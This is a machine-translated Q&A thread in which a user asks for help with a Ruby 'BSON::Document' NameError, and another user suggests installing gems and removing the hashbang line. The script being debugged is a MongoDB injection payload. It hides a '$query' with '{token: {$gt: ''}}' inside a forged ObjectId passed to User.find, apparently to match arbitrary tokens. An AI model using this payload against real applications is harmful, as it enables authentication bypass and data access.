2016-11-10 87 views
0

我试图在Ubuntu 14.04执行Ruby代码,并在执行收到错误,未初始化的常量BSON ::文件

'':未初始化不断BSON ::文档(NameError)

代码是,

#!/usr/bin/ruby 
require 'uri' 
require 'bson' 
require 'mongo' 
b = BSON::Document.new 
b["$query"] = {"token" => {"$gt"=>""}} 

payload = b.to_bson[4..-2] 
id_ish = ("\n\n" + "a"*24 + "\n\n") 

fake_id = "a"*24 + 
    "\x02_id\0".unpack('H*')[0] + 
    [id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" + 
    payload.unpack('H*')[0] 

puts URI.encode(fake_id) 

User.find fake_id 

我已经通过文件不见了, BSON Tutorial

任何想法,我在这里失踪。任何指针,将不胜感激。

回答

0

它看起来像你想执行这个代码“真空”。

require方法将不返回false除非成功。此外,要执行代码,您需要安装相应的宝石。首先,在你的shell中运行

$ gem install bson 
$ gem install mongo 

。现在重试您的脚本。上面的宝石应该使一切正常工作。如果没有,你需要设置ruby环境,这里有很多教程。

也有可能存在与系统/本地红宝石(在hashbang线指示要执行系统中的一个。)尝试删除此行并运行该脚本与

$ ruby script_name.rb 
+0

一个问题,我已经有上述套餐安装,这里是 宝石查询--local ***当地的宝石*** BSON(4.1.1) 蒙戈(2.3.1) 我会尝试你的下一个选项来配置红宝石环境。 – P4cK3tHuNt3R

+0

等一下。也许问题出在系统/本地ruby。尝试从脚本中移除hashbang行(第一行)并使用'ruby FILE_NAME.rb'执行它。 – mudasobwa